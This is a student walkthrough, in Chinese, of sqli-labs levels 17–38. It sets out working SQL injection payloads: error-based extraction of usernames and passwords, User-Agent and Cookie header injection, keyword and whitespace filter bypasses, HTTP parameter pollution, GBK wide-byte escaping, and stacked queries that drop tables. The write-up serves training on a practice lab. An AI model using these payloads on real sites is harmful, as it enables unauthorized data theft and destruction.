sqli-labs
Less-17
基于报错注入的加强版
测试注入点时发现无论如何都没反应,只出现上图情况,当用户名为‘ admin ’或‘ Dumb ’时任意密码登录
发现密码会被更新
既然是修改密码,后端一定存在update语句,修改的是password,猜测传入的password存在引号闭合
发现确实为'
闭合
用报错注入查库,查表,查列,查数据
但是当要查表时出现下述问题
payload:
1 | 1'and updatexml(1, concat(0x7e, (select group_concat(username,id,password) from users)),1) # |
查了一下才知道mysql修改和查询不能是同一张表
所以我们可以引入一个临时表
payload:
1 | 1'and updatexml(1, concat(0x7e, (select group_concat(username,id,password) from (select username,id,password from users) as ikun limit 0,1)),1) # |
但是当我们用limit 1,1
时,出现了问题,后来才意识到group_concat
是将数据放到一行输出,不能与limit结合查询(只能查一行/部分)
我们进而用mid
payload:
1 | 1'and updatexml(1, concat(0x7e, mid((select group_concat(username,id,password) from (select username,id,password from users) as ikun ),1,21)),1)# |
也可以用concat_ws
代替group_concat
payload:
1 | 1' and updatexml(1,concat(0x7e,(select concat_ws(':',username,id,password) from (select username,id,password from users) as ikun limit 1,1)),1)# |
Less18
基于user-agent的http头注入
用admin登录看到user-agent的内容回显在页面中
先尝试用'
,出现报错信息,其包含ip和用户名(当然也有user-agent)
猜想在数据中的sql语句为:INSEERT INTO table VALUES('User-Agent','Ip','Username')
(当然我也是看了后端代码才知道的,因为缺乏经验哈哈哈)
用')
闭合
加个#,报错信息消失,说明为')
闭合
接下来我们尝试在User-Agent的位置进行注入测试,我们修改User-Agnet的值使其符合整个INSERT INTIO 的语法
构造1',1,1)#
形式进行报错注入
payload1:
1 | 1',1,extractvalue(0x0a,concat(0x0a,(select database()))))# |
也可以构造'and ...and '#
payload2:
1 | ' and extractvalue(0x0a,concat(0x0a,(select database()))) and '# |
解释一下上述paylaod
插入语句中变成:
1 '' and extractvalue(...) and '#'这是一个合法的布尔表达式,MySQL会自动将它的最终值转换为·字符串插入到表中
''
=true
extractvalue(...)
返回字符串(我们在乎的是它会抛出错误)
’#'
=true(#
不是起注释作用)最终变成:
1 INSERT INTO table VALUES(<表达式结果>, 'Ip', 'Username');
Less20
基于Cookie的http头注入
用admin登录后出现以下界面
1 | Cookie:uname=admin |
Cookie这里存在注入点
尝试用'
进行闭合,出现语法报错,加#后页面正常,说明闭合方式为'
,看到页面有3个可能的回显点,我先尝试一下联合查询注入
先判断出有3列
再找出回显位
最后用正常方法即可得到数据
Less23
注释符全被过滤掉了
单引号闭合时报错
加上注释符时报错未消失
猜测注释符可能被过滤掉了(尝试编码绕过也不行)
过滤了注释符并不能影响我们的注入,可以使用两个单引号分别闭合两侧的 Sql 查询语句,同时需要使用 OR 运算符分割并构造恒真语句
payload:
1 | ?id=1' or '1'='1 |
成功力!
这样就可以开始查询数据库了
payload:
1 | ?id=1'and updatexml(1,concat(1,(select database())),1) or '1'='1 |
Less26
过滤了and、or、空格、注释符
and、or可以通过双写绕过,注释符过滤绕过可以通过闭合后引号解决
测试闭合方式(请教了土豆学长才知道)
先用
1 1'anandd'1'='1再用
1 1'anandd'1'='2若网页回显不同说明是单引号闭合
空格过滤我尝试了url编码、/**/
绕过发现行不通
去网上捣鼓一番,收获颇丰!
如果空格被过滤可以使用以下字符替代
1 | %09(制表符), %0a(换行), %0b(垂直制表符), %0d(回车), %a0(不间断空格),%0c(换页符),%20(空格),/**/(内联注释) |
我发现还可以用()进行绕过
payload:
1 | ?id=1'anandd(extractvalue(1,concat(1,(select(database())))))oorr'1'='1 |
还有个神仙做法:
用使用 “||” 替代 “or”
payload:
1 | ?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database()))),1))||'1'='1 |
Less27a
过滤了select、union、空格、注释符
双引号闭合
没有语法报错,不能用报错注入,我们选择联合查询注入
由于-
被过滤,我们选一个较大的数
接下去正常绕过查询
Less29
单引号闭合,http参数污染
这里应该是我的靶场出了点问题,竟然没过滤(都是Protected By The World’s Best Firewall,但是可以正常查询)
去看了题目的源码,发现还有login.php
和hacked.php
代码
只能手动进入login.php
测试了下单引号双引号闭合,都跳转到hacked.php
看了下login.php
:
WAF白名单函数whitelist($input)
1 | //WAF implimentation with a whitelist approach..... only allows input to be Numeric. |
其中:
1 | $match = preg_match("/^\d+$/", $input); |
/^\d+$/
的含义:
^
:字符串开头\d+
:至少一个数字$
:字符串结尾
整个正则要求 输入必须是全数字组成
1 | header('Location: hacked.php') |
重定向到hacked.php
HTTP 参数污染(HPP) 行为模拟 java_implimentation($query_string)
1 | // The function below immitates the behavior of parameters when subject to HPP (HTTP Parameter Pollution). |
该方法将 GET 读入的整行参数使用 explode()
方法对 “&
” 进行分割,返回一个分割后的数组。接着方法通过 substr(
) 方法提取对 “&
” 分割后的第一个元素的前 2 个字符,若这 2 个字符是 “id
”,则再次使用 substr()
方法提取等号后面的值返回。注意该方法提取的是 2 个同名变量中的第一个,因此它无法对第二个同名变量进行操作
结合网页给的pdf(这个我打不开,嫖了一下土豆哥的)
可以看到搭建在apache服务器上的php服务对于传入多个相同名字的参数,服务器只解析最后一个,由于注入 2 个同名参数时,java_implimentation()
方法返回的参数是第一个 id 参数,此时这个过滤就被我们绕过了,所以$_GET['id']
变量实际上是最后一个id参数
总结:
1.全数字输入才能绕过WAF
2.我们可以通过注入两个同名的参数 id,第一个参数用于绕过 WAF,第二个参数用于注入
payload:
1 | ?id=1&id=-1'union select 1,2,3--+ |
Less32
宽字节注入
输入'
发现其被转义
查看源码:
1 | function check_addslashes($string) |
该函数使用正则表达式匹配字符,将 '
转义为 \'
, 将 \
转义为 \\
,将 "
转义为 \"
在Less36中采取:
1 | function check_quotes($string) |
使用mysql_real_escape_string()
函数来转义特殊字符
对于一般的转义字符,我们是无法构造注入的 payload 的,通常情况下不存在SQL注入,但这并不代表网页就没有任何漏洞可以注入
我们注意到数据库采用gbk编码:
1 | mysql_query("SET NAMES gbk"); |
这里尝试采用宽字节注入:
数据库的编码采用 GBK 国标码时,虽然单引号还是会加上反斜杠从而被转义,但是 “%df
” 会和反斜杠的 URL 编码 “%5C
” 闭合,从而构成 GBK 国标码中的汉字“連”,使得用于转义的反斜杠被我们“吃掉”了
输入%df'
时成功返回错误信息,加--+
页面正常,绕过成功
我们采用联合查询注入,但需要注意的是:
不要使用单引号来闭合字符串,改用十六进制 (HEX) 编码(网页有提示)替代所需数据库名、表名
如以下使用0x7365637572697479
替代security
Less38
单引号闭合,这题主要用来测试堆叠注入
在源码中发现:
1 | mysqli_multi_query($con1, $sql) |
该函数可以执行多个 MySQL 语句。之前的 Less 使用的是 mysql_query()
函数,只执行一条 MySQL 查询
插入新用户ikun:
查询id为999的用户:
堆叠注入:
1
2
3
4 ?id=1;CREATE TABLE WhiteMoon LIKE users;--+
?id=1;INSERT INTO WhiteMoon SELECT * FROM users;--+
?id=1;DELETE FROM WhiteMoon;--+
?id=1;DROP TABLE WhiteMoon;--+